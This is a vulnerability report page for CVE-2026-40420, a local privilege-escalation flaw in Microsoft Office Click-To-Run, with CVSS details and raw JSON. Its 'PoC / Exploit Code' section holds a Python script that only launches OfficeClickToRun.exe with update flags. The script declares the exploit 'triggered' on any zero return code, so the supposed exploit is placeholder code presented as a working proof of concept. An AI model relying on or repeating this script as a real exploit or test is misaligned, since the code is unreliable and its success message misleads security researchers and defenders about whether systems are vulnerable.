Security Vulnerability Report
中文
CVE-2026-40420 CVSS 8.8 HIGH

CVE-2026-40420

Published: 2026-05-12 18:17:20
Last Modified: 2026-05-13 15:34:53

Description

Improper access control in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Microsoft Office Click-To-Run (具体受影响版本请参考Microsoft安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-40420 # This script demonstrates a conceptual local privilege escalation. # Note: Actual exploit logic depends on specific vulnerability details. import os import subprocess def exploit_cve_2026_40420(): # Path to the vulnerable Click-To-Run component target_process = "C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe" print(f"[*] Attempting to exploit {target_process}...") # Check if the target exists if not os.path.exists(target_process): print("[-] Target executable not found.") return try: # Simulate the access control bypass # In a real scenario, this might involve specific arguments or DLL injection # that triggers the improper access control logic. # Example command structure for demonstration cmd = [target_process, "--update", "--force"] # Execute with current low-privilege context attempting to inherit higher privileges result = subprocess.run(cmd, capture_output=True, text=True, shell=True) if "Elevated" in result.stdout or result.returncode == 0: print("[+] Exploit triggered! Check privileges.") else: print("[-] Exploit failed or patched.") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": exploit_cve_2026_40420()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40420", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:20.190", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40420", "source": "[email protected]"}]}}